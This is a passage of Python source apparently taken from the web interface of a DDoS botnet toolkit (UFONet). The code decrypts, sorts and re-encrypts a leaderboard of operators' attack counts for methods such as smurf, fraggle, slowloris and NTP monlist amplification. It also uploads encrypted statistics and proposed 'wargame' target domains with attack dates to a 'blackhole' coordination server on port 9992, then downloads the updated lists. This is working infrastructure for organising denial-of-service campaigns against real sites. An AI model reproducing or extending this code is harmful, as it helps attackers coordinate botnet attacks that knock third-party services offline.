  5441. self.decrypt(grid_key, grid_ufoack)
  5442. if self.decryptedtext:
  5443. try:
  5444. grid_ufoack = int(self.decryptedtext)
  5445. except:
  5446. grid_ufoack = nodec_num
  5447. else:
  5448. grid_ufoack = nodec_num
  5449. self.decryptedtext = "" # clean decryptedtext buffer
  5450. grid_uforst = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not uforst present
  5451. self.decrypt(grid_key, grid_uforst)
  5452. if self.decryptedtext:
  5453. try:
  5454. grid_uforst = int(self.decryptedtext)
  5455. except:
  5456. grid_uforst = nodec_num
  5457. else:
  5458. grid_uforst = nodec_num
  5459. self.decryptedtext = "" # clean decryptedtext buffer
  5460. grid_droper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not droper present
  5461. self.decrypt(grid_key, grid_droper)
  5462. if self.decryptedtext:
  5463. try:
  5464. grid_droper = int(self.decryptedtext)
  5465. except:
  5466. grid_droper = nodec_num
  5467. else:
  5468. grid_droper = nodec_num
  5469. self.decryptedtext = "" # clean decryptedtext buffer
  5470. grid_overlap = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not overlap present
  5471. self.decrypt(grid_key, grid_overlap)
  5472. if self.decryptedtext:
  5473. try:
  5474. grid_overlap = int(self.decryptedtext)
  5475. except:
  5476. grid_overlap = nodec_num
  5477. else:
  5478. grid_overlap = nodec_num
  5479. self.decryptedtext = "" # clean decryptedtext buffer
  5480. grid_pinger = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not pinger present
  5481. self.decrypt(grid_key, grid_pinger)
  5482. if self.decryptedtext:
  5483. try:
  5484. grid_pinger = int(self.decryptedtext)
  5485. except:
  5486. grid_pinger = nodec_num
  5487. else:
  5488. grid_pinger = nodec_num
  5489. self.decryptedtext = "" # clean decryptedtext buffer
  5490. grid_ufoudp = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufoudp present
  5491. self.decrypt(grid_key, grid_ufoudp)
  5492. if self.decryptedtext:
  5493. try:
  5494. grid_ufoudp = int(self.decryptedtext)
  5495. except:
  5496. grid_ufoudp = nodec_num
  5497. else:
  5498. grid_ufoudp = nodec_num
  5499. self.decryptedtext = "" # clean decryptedtext buffer
  5500. if version > 17:
  5501. grid_contact = m[25] # contact
  5502. self.decrypt(grid_key, grid_contact)
  5503. if self.decryptedtext:
  5504. grid_contact = self.decryptedtext
  5505. else:
  5506. grid_contact = nodec_text
  5507. self.decryptedtext = "" # clean decryptedtext buffer
  5508. grid_id = m[26] # id
  5509. elif version == 17:
  5510. grid_contact = m[16] # contact
  5511. self.decrypt(grid_key, grid_contact)
  5512. if self.decryptedtext:
  5513. grid_contact = self.decryptedtext
  5514. else:
  5515. grid_contact = nodec_text
  5516. self.decryptedtext = "" # clean decryptedtext buffer
  5517. grid_id = m[17] # id
  5518. elif version == 16:
  5519. grid_contact = m[15] # contact
  5520. self.decrypt(grid_key, grid_contact)
  5521. if self.decryptedtext:
  5522. grid_contact = self.decryptedtext
  5523. else:
  5524. grid_contact = nodec_text
  5525. self.decryptedtext = "" # clean decryptedtext buffer
  5526. grid_id = m[16] # id
  5527. elif version == 15:
  5528. grid_contact = m[14] # contact
  5529. self.decrypt(grid_key, grid_contact)
  5530. if self.decryptedtext:
  5531. grid_contact = self.decryptedtext
  5532. else:
  5533. grid_contact = nodec_text
  5534. self.decryptedtext = "" # clean decryptedtext buffer
  5535. grid_id = m[15] # id
  5536. elif version == 12:
  5537. grid_contact = m[11] # contact
  5538. self.decrypt(grid_key, grid_contact)
  5539. if self.decryptedtext:
  5540. grid_contact = self.decryptedtext
  5541. else:
  5542. grid_contact = nodec_text
  5543. self.decryptedtext = "" # clean decryptedtext buffer
  5544. grid_id = m[12] # id
  5545. elif version == 11:
  5546. grid_contact = m[10] # contact
  5547. self.decrypt(grid_key, grid_contact)
  5548. if self.decryptedtext:
  5549. grid_contact = self.decryptedtext
  5550. else:
  5551. grid_contact = nodec_text
  5552. self.decryptedtext = "" # clean decryptedtext buffer
  5553. grid_id = m[11] # id
  5554. elif version == 10:
  5555. grid_contact = m[9] # contact
  5556. self.decrypt(grid_key, grid_contact)
  5557. if self.decryptedtext:
  5558. grid_contact = self.decryptedtext
  5559. else:
  5560. grid_contact = nodec_text
  5561. self.decryptedtext = "" # clean decryptedtext buffer
  5562. grid_id = m[10] # id
  5563. else:
  5564. grid_contact = nodec_text
  5565. grid_id = '6666666666666666666666666666666666666' # fake id
  5566. grid_items.append([str(grid_nickname),int(grid_ranking),int(grid_totalchargo),int(grid_dorking),int(grid_transferred),int(grid_maxchargo),int(grid_missions),int(grid_attacks),int(grid_loic),int(grid_loris),int(grid_ufosyn),int(grid_spray),int(grid_smurf),int(grid_xmas),int(grid_nuke),int(grid_tachyon),int(grid_monlist),int(grid_fraggle),int(grid_sniper),int(grid_ufoack),int(grid_uforst),int(grid_droper),int(grid_overlap),int(grid_pinger),int(grid_ufoudp),str(grid_contact),str(grid_id)])
  5567. if grid_filter == "nickname":
  5568. grid_items=sorted(grid_items,key=lambda x:x[0]) # sorted by nickname
  5569. elif grid_filter == "ranking":
  5570. grid_items=sorted(grid_items,key=lambda x:x[1]) # sorted by ranking
  5571. elif grid_filter == "chargo":
  5572. grid_items=sorted(grid_items,key=lambda x:x[2]) # sorted by totalchargo
  5573. elif grid_filter == "dorking":
  5574. grid_items=sorted(grid_items,key=lambda x:x[3]) # sorted by dorking
  5575. elif grid_filter == "transferred":
  5576. grid_items=sorted(grid_items,key=lambda x:x[4]) # sorted by transferred
  5577. elif grid_filter == "maxchargo":
  5578. grid_items=sorted(grid_items,key=lambda x:x[5]) # sorted by maxchargo
  5579. elif grid_filter == "missions":
  5580. grid_items=sorted(grid_items,key=lambda x:x[6]) # sorted by missions
  5581. elif grid_filter == "attacks":
  5582. grid_items=sorted(grid_items,key=lambda x:x[7]) # sorted by attacks
  5583. elif grid_filter == "loic":
  5584. grid_items=sorted(grid_items,key=lambda x:x[8]) # sorted by loic
  5585. elif grid_filter == "loris":
  5586. grid_items=sorted(grid_items,key=lambda x:x[9]) # sorted by loris
  5587. elif grid_filter == "ufosyn":
  5588. grid_items=sorted(grid_items,key=lambda x:x[10]) # sorted by ufosyn
  5589. elif grid_filter == "spray":
  5590. grid_items=sorted(grid_items,key=lambda x:x[11]) # sorted by spray
  5591. elif grid_filter == "smurf":
  5592. grid_items=sorted(grid_items,key=lambda x:x[12]) # sorted by smurf
  5593. elif grid_filter == "xmas":
  5594. grid_items=sorted(grid_items,key=lambda x:x[13]) # sorted by xmas
  5595. elif grid_filter == "nuke":
  5596. grid_items=sorted(grid_items,key=lambda x:x[14]) # sorted by nuke
  5597. elif grid_filter == "tachyon":
  5598. grid_items=sorted(grid_items,key=lambda x:x[15]) # sorted by tachyon
  5599. elif grid_filter == "monlist":
  5600. grid_items=sorted(grid_items,key=lambda x:x[16]) # sorted by monlist
  5601. elif grid_filter == "fraggle":
  5602. grid_items=sorted(grid_items,key=lambda x:x[17]) # sorted by fraggle
  5603. elif grid_filter == "sniper":
  5604. grid_items=sorted(grid_items,key=lambda x:x[18]) # sorted by sniper
  5605. elif grid_filter == "ufoack":
  5606. grid_items=sorted(grid_items,key=lambda x:x[19]) # sorted by ufoack
  5607. elif grid_filter == "uforst":
  5608. grid_items=sorted(grid_items,key=lambda x:x[20]) # sorted by uforst
  5609. elif grid_filter == "droper":
  5610. grid_items=sorted(grid_items,key=lambda x:x[21]) # sorted by droper
  5611. elif grid_filter == "overlap":
  5612. grid_items=sorted(grid_items,key=lambda x:x[22]) # sorted by overlap
  5613. elif grid_filter == "pinger":
  5614. grid_items=sorted(grid_items,key=lambda x:x[23]) # sorted by pinger
  5615. elif grid_filter == "ufoudp":
  5616. grid_items=sorted(grid_items,key=lambda x:x[24]) # sorted by ufoudp
  5617. elif grid_filter == "contact":
  5618. grid_items=sorted(grid_items,key=lambda x:x[25]) # sorted by contact
  5619. else:
  5620. grid_items=sorted(grid_items,key=lambda x:x[6]) # sorted by missions (default)
  5621. for i in grid_items:
  5622. grid_nickname = str(i[0])
  5623. self.encrypt(grid_key, grid_nickname)
  5624. if self.encryptedtext:
  5625. grid_nickname = self.encryptedtext
  5626. self.encryptedtext = "" # clean encryptedtext buffer
  5627. grid_ranking = str(i[1])
  5628. self.encrypt(grid_key, grid_ranking)
  5629. if self.encryptedtext:
  5630. grid_ranking = self.encryptedtext
  5631. self.encryptedtext = "" # clean encryptedtext buffer
  5632. grid_totalchargo = str(i[2])
  5633. self.encrypt(grid_key, grid_totalchargo)
  5634. if self.encryptedtext:
  5635. grid_totalchargo = self.encryptedtext
  5636. self.encryptedtext = "" # clean encryptedtext buffer
  5637. grid_dorking = str(i[3])
  5638. self.encrypt(grid_key, grid_dorking)
  5639. if self.encryptedtext:
  5640. grid_dorking = self.encryptedtext
  5641. self.encryptedtext = "" # clean encryptedtext buffer
  5642. grid_transferred = str(i[4])
  5643. self.encrypt(grid_key, grid_transferred)
  5644. if self.encryptedtext:
  5645. grid_transferred = self.encryptedtext
  5646. self.encryptedtext = "" # clean encryptedtext buffer
  5647. grid_maxchargo = str(i[5])
  5648. self.encrypt(grid_key, grid_maxchargo)
  5649. if self.encryptedtext:
  5650. grid_maxchargo = self.encryptedtext
  5651. self.encryptedtext = "" # clean encryptedtext buffer
  5652. grid_missions = str(i[6])
  5653. self.encrypt(grid_key, grid_missions)
  5654. if self.encryptedtext:
  5655. grid_missions = self.encryptedtext
  5656. self.encryptedtext = "" # clean encryptedtext buffer
  5657. grid_attacks = str(i[7])
  5658. self.encrypt(grid_key, grid_attacks)
  5659. if self.encryptedtext:
  5660. grid_attacks = self.encryptedtext
  5661. self.encryptedtext = "" # clean encryptedtext buffer
  5662. grid_loic = str(i[8])
  5663. self.encrypt(grid_key, grid_loic)
  5664. if self.encryptedtext:
  5665. grid_loic = self.encryptedtext
  5666. self.encryptedtext = "" # clean encryptedtext buffer
  5667. grid_loris = str(i[9])
  5668. self.encrypt(grid_key, grid_loris)
  5669. if self.encryptedtext:
  5670. grid_loris = self.encryptedtext
  5671. self.encryptedtext = "" # clean encryptedtext buffer
  5672. grid_ufosyn = str(i[10])
  5673. self.encrypt(grid_key, grid_ufosyn)
  5674. if self.encryptedtext:
  5675. grid_ufosyn = self.encryptedtext
  5676. self.encryptedtext = "" # clean encryptedtext buffer
  5677. grid_spray = str(i[11])
  5678. self.encrypt(grid_key, grid_spray)
  5679. if self.encryptedtext:
  5680. grid_spray = self.encryptedtext
  5681. self.encryptedtext = "" # clean encryptedtext buffer
  5682. grid_smurf = str(i[12])
  5683. self.encrypt(grid_key, grid_smurf)
  5684. if self.encryptedtext:
  5685. grid_smurf = self.encryptedtext
  5686. self.encryptedtext = "" # clean encryptedtext buffer
  5687. grid_xmas = str(i[13])
  5688. self.encrypt(grid_key, grid_xmas)
  5689. if self.encryptedtext:
  5690. grid_xmas = self.encryptedtext
  5691. self.encryptedtext = "" # clean encryptedtext buffer
  5692. grid_nuke = str(i[14])
  5693. self.encrypt(grid_key, grid_nuke)
  5694. if self.encryptedtext:
  5695. grid_nuke = self.encryptedtext
  5696. self.encryptedtext = "" # clean encryptedtext buffer
  5697. grid_tachyon = str(i[15])
  5698. self.encrypt(grid_key, grid_tachyon)
  5699. if self.encryptedtext:
  5700. grid_tachyon = self.encryptedtext
  5701. self.encryptedtext = "" # clean encryptedtext buffer
  5702. grid_monlist = str(i[16])
  5703. self.encrypt(grid_key, grid_monlist)
  5704. if self.encryptedtext:
  5705. grid_monlist = self.encryptedtext
  5706. self.encryptedtext = "" # clean encryptedtext buffer
  5707. grid_fraggle = str(i[17])
  5708. self.encrypt(grid_key, grid_fraggle)
  5709. if self.encryptedtext:
  5710. grid_fraggle = self.encryptedtext
  5711. self.encryptedtext = "" # clean encryptedtext buffer
  5712. grid_sniper = str(i[18])
  5713. self.encrypt(grid_key, grid_sniper)
  5714. if self.encryptedtext:
  5715. grid_sniper = self.encryptedtext
  5716. self.encryptedtext = "" # clean encryptedtext buffer
  5717. grid_ufoack = str(i[19])
  5718. self.encrypt(grid_key, grid_ufoack)
  5719. if self.encryptedtext:
  5720. grid_ufoack = self.encryptedtext
  5721. self.encryptedtext = "" # clean encryptedtext buffer
  5722. grid_uforst = str(i[20])
  5723. self.encrypt(grid_key, grid_uforst)
  5724. if self.encryptedtext:
  5725. grid_uforst = self.encryptedtext
  5726. self.encryptedtext = "" # clean encryptedtext buffer
  5727. grid_droper = str(i[21])
  5728. self.encrypt(grid_key, grid_droper)
  5729. if self.encryptedtext:
  5730. grid_droper = self.encryptedtext
  5731. self.encryptedtext = "" # clean encryptedtext buffer
  5732. grid_overlap = str(i[22])
  5733. self.encrypt(grid_key, grid_overlap)
  5734. if self.encryptedtext:
  5735. grid_overlap = self.encryptedtext
  5736. self.encryptedtext = "" # clean encryptedtext buffer
  5737. grid_pinger = str(i[23])
  5738. self.encrypt(grid_key, grid_pinger)
  5739. if self.encryptedtext:
  5740. grid_pinger = self.encryptedtext
  5741. self.encryptedtext = "" # clean encryptedtext buffer
  5742. grid_ufoudp = str(i[24])
  5743. self.encrypt(grid_key, grid_ufoudp)
  5744. if self.encryptedtext:
  5745. grid_ufoudp = self.encryptedtext
  5746. self.encryptedtext = "" # clean encryptedtext buffer
  5747. grid_contact = str(i[25])
  5748. self.encrypt(grid_key, grid_contact)
  5749. if self.encryptedtext:
  5750. grid_contact = self.encryptedtext
  5751. self.encryptedtext = "" # clean encryptedtext buffer
  5752. grid_id = str(i[26]) # id (plain id)
  5753. l = str(grid_nickname) + "#?#" + str(grid_ranking) + "#?#" + str(grid_totalchargo) + "#?#" + str(grid_dorking) + "#?#" + str(grid_transferred) + "#?#" + str(grid_maxchargo) + "#?#" + str(grid_missions) + "#?#" + str(grid_attacks) + "#?#" + str(grid_loic) + "#?#" + str(grid_loris) + "#?#" + str(grid_ufosyn) + "#?#" + str(grid_spray) + "#?#" + str(grid_smurf)+ "#?#" + str(grid_xmas) + "#?#" + str(grid_nuke) + "#?#" + str(grid_tachyon) + "#?#" + str(grid_monlist) + "#?#" + str(grid_fraggle) + "#?#" + str(grid_sniper) + "#?#" + str(grid_ufoack) + "#?#" + str(grid_uforst) + "#?#" + str(grid_droper) + "#?#" + str(grid_overlap) + "#?#" + str(grid_pinger) + "#?#" + str(grid_ufoudp) + "#?#" + str(grid_contact) + "#?#" + str(grid_id)
  5754. f.write(l + os.linesep)
  5755. f.close()
  5756. except:
  5757. pass
  5758. if page == "/cmd_grid_filter_update":
  5759. if not os.path.exists('/tmp/out'):
  5760. open('/tmp/out', 'w').close()
  5761. with open('/tmp/out', 'r') as f:
  5762. self.pages["/cmd_grid_filter_update"] = "<pre>"+f.read()+"<pre>"
  5763. if page == "/cmd_transfer_grid":
  5764. self.pages["/cmd_transfer_grid"] = "<pre>Waiting for 'blackhole' connection...</pre>"
  5765. blackhole_ip = pGet["grid_source"]
  5766. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  5767. try:
  5768. grid_key = pGet["grid_key"]
  5769. except:
  5770. grid_key = ""
  5771. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  5772. if grid_key != "": # stream creation + encryption + package send
  5773. try:
  5774. grid_json_file = open(self.mothership_gridcfg_file, "r") # extract grid profile conf
  5775. grid_data = json.load(grid_json_file)
  5776. grid_json_file.close()
  5777. stats_json_file = open(self.mothership_stats_file, "r") # extract mothership stats
  5778. stats_data = json.load(stats_json_file)
  5779. stats_json_file.close()
  5780. nickname = grid_data["grid_nick"].encode('utf-8')
  5781. self.encrypt(grid_key, nickname)
  5782. if self.encryptedtext:
  5783. nickname = self.encryptedtext
  5784. self.encryptedtext = "" # clean encryptedtext buffer
  5785. ranking = self.ranking
  5786. if ranking == "Rookie":
  5787. ranking = 1
  5788. elif ranking == "Mercenary":
  5789. ranking = 2
  5790. elif ranking == "Bandit":
  5791. ranking = 3
  5792. elif ranking == "UFOmmander!":
  5793. ranking = 4
  5794. elif ranking == "UFOl33t!":
  5795. ranking = 5
  5796. else:
  5797. ranking = 1
  5798. self.encrypt(grid_key, str(ranking))
  5799. if self.encryptedtext:
  5800. ranking = self.encryptedtext
  5801. self.encryptedtext = "" # clean encryptedtext buffer
  5802. chargo = self.total_botnet
  5803. self.encrypt(grid_key, str(chargo))
  5804. if self.encryptedtext:
  5805. chargo = self.encryptedtext
  5806. self.encryptedtext = "" # clean encryptedtext buffer
  5807. dorking = stats_data["scanner"]
  5808. self.encrypt(grid_key, str(dorking))
  5809. if self.encryptedtext:
  5810. dorking = self.encryptedtext
  5811. self.encryptedtext = "" # clean encryptedtext buffer
  5812. transferred = stats_data["transferred"]
  5813. self.encrypt(grid_key, str(transferred))
  5814. if self.encryptedtext:
  5815. transferred = self.encryptedtext
  5816. self.encryptedtext = "" # clean encryptedtext buffer
  5817. max_chargo = stats_data["max_chargo"]
  5818. self.encrypt(grid_key, str(max_chargo))
  5819. if self.encryptedtext:
  5820. max_chargo = self.encryptedtext
  5821. self.encryptedtext = "" # clean encryptedtext buffer
  5822. missions = stats_data["missions"]
  5823. self.encrypt(grid_key, str(missions))
  5824. if self.encryptedtext:
  5825. missions = self.encryptedtext
  5826. self.encryptedtext = "" # clean encryptedtext buffer
  5827. attacks = stats_data["completed"]
  5828. self.encrypt(grid_key, str(attacks))
  5829. if self.encryptedtext:
  5830. attacks = self.encryptedtext
  5831. self.encryptedtext = "" # clean encryptedtext buffer
  5832. loic = stats_data["loic"]
  5833. self.encrypt(grid_key, str(loic))
  5834. if self.encryptedtext:
  5835. loic = self.encryptedtext
  5836. self.encryptedtext = "" # clean encryptedtext buffer
  5837. loris = stats_data["loris"]
  5838. self.encrypt(grid_key, str(loris))
  5839. if self.encryptedtext:
  5840. loris = self.encryptedtext
  5841. self.encryptedtext = "" # clean encryptedtext buffer
  5842. ufosyn = stats_data["ufosyn"]
  5843. self.encrypt(grid_key, str(ufosyn))
  5844. if self.encryptedtext:
  5845. ufosyn = self.encryptedtext
  5846. self.encryptedtext = "" # clean encryptedtext buffer
  5847. spray = stats_data["spray"]
  5848. self.encrypt(grid_key, str(spray))
  5849. if self.encryptedtext:
  5850. spray = self.encryptedtext
  5851. self.encryptedtext = "" # clean encryptedtext buffer
  5852. smurf = stats_data["smurf"]
  5853. self.encrypt(grid_key, str(smurf))
  5854. if self.encryptedtext:
  5855. smurf = self.encryptedtext
  5856. self.encryptedtext = "" # clean encryptedtext buffer
  5857. xmas = stats_data["xmas"]
  5858. self.encrypt(grid_key, str(xmas))
  5859. if self.encryptedtext:
  5860. xmas = self.encryptedtext
  5861. self.encryptedtext = "" # clean encryptedtext buffer
  5862. nuke = stats_data["nuke"]
  5863. self.encrypt(grid_key, str(nuke))
  5864. if self.encryptedtext:
  5865. nuke = self.encryptedtext
  5866. self.encryptedtext = "" # clean encryptedtext buffer
  5867. tachyon = stats_data["tachyon"]
  5868. self.encrypt(grid_key, str(tachyon))
  5869. if self.encryptedtext:
  5870. tachyon = self.encryptedtext
  5871. self.encryptedtext = "" # clean encryptedtext buffer
  5872. monlist = stats_data["monlist"]
  5873. self.encrypt(grid_key, str(monlist))
  5874. if self.encryptedtext:
  5875. monlist = self.encryptedtext
  5876. self.encryptedtext = "" # clean encryptedtext buffer
  5877. fraggle = stats_data["fraggle"]
  5878. self.encrypt(grid_key, str(fraggle))
  5879. if self.encryptedtext:
  5880. fraggle = self.encryptedtext
  5881. self.encryptedtext = "" # clean encryptedtext buffer
  5882. sniper = stats_data["sniper"]
  5883. self.encrypt(grid_key, str(sniper))
  5884. if self.encryptedtext:
  5885. sniper = self.encryptedtext
  5886. self.encryptedtext = "" # clean encryptedtext buffer
  5887. ufoack = stats_data["ufoack"]
  5888. self.encrypt(grid_key, str(ufoack))
  5889. if self.encryptedtext:
  5890. ufoack = self.encryptedtext
  5891. self.encryptedtext = "" # clean encryptedtext buffer
  5892. uforst = stats_data["uforst"]
  5893. self.encrypt(grid_key, str(uforst))
  5894. if self.encryptedtext:
  5895. uforst = self.encryptedtext
  5896. self.encryptedtext = "" # clean encryptedtext buffer
  5897. droper = stats_data["droper"]
  5898. self.encrypt(grid_key, str(droper))
  5899. if self.encryptedtext:
  5900. droper = self.encryptedtext
  5901. self.encryptedtext = "" # clean encryptedtext buffer
  5902. overlap = stats_data["overlap"]
  5903. self.encrypt(grid_key, str(overlap))
  5904. if self.encryptedtext:
  5905. overlap = self.encryptedtext
  5906. self.encryptedtext = "" # clean encryptedtext buffer
  5907. pinger = stats_data["pinger"]
  5908. self.encrypt(grid_key, str(pinger))
  5909. if self.encryptedtext:
  5910. pinger = self.encryptedtext
  5911. self.encryptedtext = "" # clean encryptedtext buffer
  5912. ufoudp = stats_data["ufoudp"]
  5913. self.encrypt(grid_key, str(ufoudp))
  5914. if self.encryptedtext:
  5915. ufoudp = self.encryptedtext
  5916. self.encryptedtext = "" # clean encryptedtext buffer
  5917. contact = grid_data["grid_contact"].encode('utf-8')
  5918. self.encrypt(grid_key, str(contact))
  5919. if self.encryptedtext:
  5920. contact = self.encryptedtext
  5921. self.encryptedtext = "" # clean encryptedtext buffer
  5922. id = grid_data["grid_token"] # plain text
  5923. stream = str(nickname)+grid_msg_sep+str(ranking)+grid_msg_sep+str(chargo)+grid_msg_sep+str(dorking)+grid_msg_sep+str(transferred)+grid_msg_sep+str(max_chargo)+grid_msg_sep+str(missions)+grid_msg_sep+str(attacks)+grid_msg_sep+str(loic)+grid_msg_sep+str(loris)+grid_msg_sep+str(ufosyn)+grid_msg_sep+str(spray)+grid_msg_sep+str(smurf)+grid_msg_sep+str(xmas)+grid_msg_sep+str(nuke)+grid_msg_sep+str(tachyon)+grid_msg_sep+str(monlist)+grid_msg_sep+str(fraggle)+grid_msg_sep+str(sniper)+grid_msg_sep+str(ufoack)+grid_msg_sep+str(uforst)+grid_msg_sep+str(droper)+grid_msg_sep+str(overlap)+grid_msg_sep+str(pinger)+grid_msg_sep+str(ufoudp)+grid_msg_sep+str(contact)+grid_msg_sep+str(id)
  5924. try:
  5925. host = blackhole_ip
  5926. cport = 9992 # port used by mothership grider (server side script)
  5927. gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  5928. gs.settimeout(5.0)
  5929. gs.connect((host, cport))
  5930. gs.send(stream.encode())
  5931. gs.close()
  5932. try: # download latest grid after submit
  5933. grid = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/grid.txt').read().decode('utf-8')
  5934. f = open(self.grid_file, "w") # write updates to grid.txt
  5935. f.write(grid)
  5936. f.close()
  5937. except:
  5938. pass
  5939. grid_trans = "[Info] [AI] Statistics transferred! -> [OK!]\n"
  5940. except:
  5941. grid_trans = "[Error] [AI] Something wrong uploading statistics. Try it again...\n"
  5942. except:
  5943. grid_trans = "[Error] [AI] Something wrong uploading statistics. Try it again...\n"
  5944. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  5945. f = open("/tmp/out", "w")
  5946. f.write(grid_trans)
  5947. f.write(end_mark)
  5948. f.close()
  5949. if page == "/cmd_transfer_grid_update":
  5950. if not os.path.exists('/tmp/out'):
  5951. open('/tmp/out', 'w').close()
  5952. with open('/tmp/out', 'r') as f:
  5953. self.pages["/cmd_transfer_grid_update"] = "<pre>"+f.read()+"<pre>"
  5954. if page == "/cmd_transfer_wargame":
  5955. self.pages["/cmd_transfer_wargame"] = "<pre>Waiting for 'blackhole' connection...</pre>"
  5956. blackhole_ip = pGet["wargames_source2"]
  5957. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  5958. try:
  5959. wargames_enckey = pGet["wargames_enckey"]
  5960. except:
  5961. wargames_enckey = ""
  5962. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  5963. wargames_target = pGet["wargames_target"]
  5964. if wargames_target.startswith("http://") or wargames_target.startswith("https://"): # parse proposed target url
  5965. t = urlparse(wargames_target)
  5966. wargames_target = t.netloc
  5967. else:
  5968. wargames_trans = "[Error] [AI] Proposed target hasn't a correct format!. Try it again...\n"
  5969. wargames_enckey = ""
  5970. if wargames_target.startswith("www."):
  5971. wargames_target = wargames_target.replace("www.","")
  5972. wargames_estimated = pGet["wargames_estimated"]
  5973. try:
  5974. wargames_creation = strptime(wargames_creation, "%d-%m-%Y %H:%M:%S")
  5975. wargames_estimated = strptime(wargames_estimated, "%d-%m-%Y %H:%M:%S")
  5976. if (wargames_creation > wargames_estimated) == True: # parse bad dates
  5977. wargames_trans = "[Error] [AI] Date time should be major than creation time. Try it again...\n"
  5978. wargames_enckey = ""
  5979. except:
  5980. wargames_trans = "[Error] [AI] Date time is not using a correct format!. Try it again...\n"
  5981. wargames_enckey = ""
  5982. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  5983. if wargames_enckey != "": # stream creation + encryption + package send
  5984. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
  5985. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  5986. try:
  5987. self.encrypt(wargames_enckey, wargames_creation)
  5988. if self.encryptedtext:
  5989. wargames_creation = self.encryptedtext
  5990. self.encryptedtext = "" # clean encryptedtext buffer
  5991. self.encrypt(wargames_enckey, wargames_target)
  5992. if self.encryptedtext:
  5993. wargames_target = self.encryptedtext
  5994. self.encryptedtext = "" # clean encryptedtext buffer
  5995. self.encrypt(wargames_enckey, wargames_estimated)
  5996. if self.encryptedtext:
  5997. wargames_estimated = self.encryptedtext
  5998. self.encryptedtext = "" # clean encryptedtext buffer
  5999. stream = str(wargames_creation)+wargames_msg_sep+str(wargames_target)+wargames_msg_sep+str(wargames_estimated)
  6000. try:
  6001. host = blackhole_ip
  6002. cport = 9992 # port used by mothership grider (server side script)
  6003. gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  6004. gs.settimeout(5.0)
  6005. gs.connect((host, cport))
  6006. gs.send(stream.encode())
  6007. gs.close()
  6008. try: # download latest wargames after submit
  6009. wargames = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/wargames.txt').read().decode('utf-8')
  6010. f = open(self.wargames_file, "w") # write updates to wargames.txt
  6011. f.write(wargames)
  6012. f.close()
  6013. except:
  6014. pass
  6015. wargames_trans = "[Info] [AI] Wargame transferred! -> [OK!]\n"
  6016. except:
  6017. wargames_trans = "[Error] [AI] Something wrong uploading wargame. Try it again...\n"
  6018. except:
  6019. wargames_trans = "[Error] [AI] Something wrong uploading wargame. Try it again...\n"
  6020. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  6021. f = open("/tmp/out", "w")
  6022. f.write(wargames_trans)
  6023. f.write(end_mark)
  6024. f.close()
  6025. if page == "/cmd_transfer_wargame_update":
  6026. if not os.path.exists('/tmp/out'):
  6027. open('/tmp/out', 'w').close()
  6028. with open('/tmp/out', 'r') as f:
  6029. self.pages["/cmd_transfer_wargame_update"] = "<pre>"+f.read()+"<pre>"
  6030. if page == "/cmd_transfer_link":
  6031. self.pages["/cmd_transfer_link"] = "<pre>Waiting for 'blackhole' connection...</pre>"
  6032. blackhole_ip = pGet["link_source2"]
  6033. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  6034. try:
  6035. link_enckey = pGet["link_enckey"]
  6036. except:
  6037. link_enckey = ""
  6038. link_creation = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  6039. link_url = pGet["link_url"]
  6040. if link_url.startswith("http://") or link_url.startswith("https://"): # parse proposed link
  6041. pass
  6042. else:
  6043. links_trans = "[Error] [AI] Proposed link hasn't a correct format!. Try it again...\n"
  6044. link_enckey = ""
  6045. if link_url.startswith("www."):
  6046. link_url = link_url.replace("www.","")
  6047. link_topic = pGet["link_topic"]
  6048. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  6049. if link_enckey != "": # stream creation + encryption + package send
  6050. try:
  6051. self.encrypt(link_enckey, link_creation)
  6052. if self.encryptedtext:
  6053. link_creation = self.encryptedtext
  6054. self.encryptedtext = "" # clean encryptedtext buffer
  6055. self.encrypt(link_enckey, link_url)
  6056. if self.encryptedtext:
  6057. link_url = self.encryptedtext
  6058. self.encryptedtext = "" # clean encryptedtext buffer
  6059. self.encrypt(link_enckey, link_topic)
  6060. if self.encryptedtext:
  6061. link_topic = self.encryptedtext
  6062. self.encryptedtext = "" # clean encryptedtext buffer
  6063. stream = str(link_creation)+links_msg_sep+str(link_url)+links_msg_sep+str(link_topic)
  6064. try:
  6065. host = blackhole_ip
  6066. cport = 9992 # port used by mothership grider (server side script)
  6067. gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  6068. gs.settimeout(5.0)
  6069. gs.connect((host, cport))
  6070. gs.send(stream.encode())
  6071. gs.close()
  6072. try: # download latest links after submit
  6073. links = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/links.txt').read().decode('utf-8')
  6074. f = open(self.links_file, "w") # write updates to links.txt
  6075. f.write(links)
  6076. f.close()
  6077. except:
  6078. pass
  6079. links_trans = "[Info] [AI] Link transferred! -> [OK!]\n"
  6080. except:
  6081. links_trans = "[Error] [AI] Something wrong uploading link. Try it again...\n"
  6082. except:
  6083. links_trans = "[Error] [AI] Something wrong uploading link. Try it again...\n"
  6084. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  6085. f = open("/tmp/out", "w")
  6086. f.write(links_trans)
  6087. f.write(end_mark)
  6088. f.close()
  6089. if page == "/cmd_transfer_link_update":
  6090. if not os.path.exists('/tmp/out'):
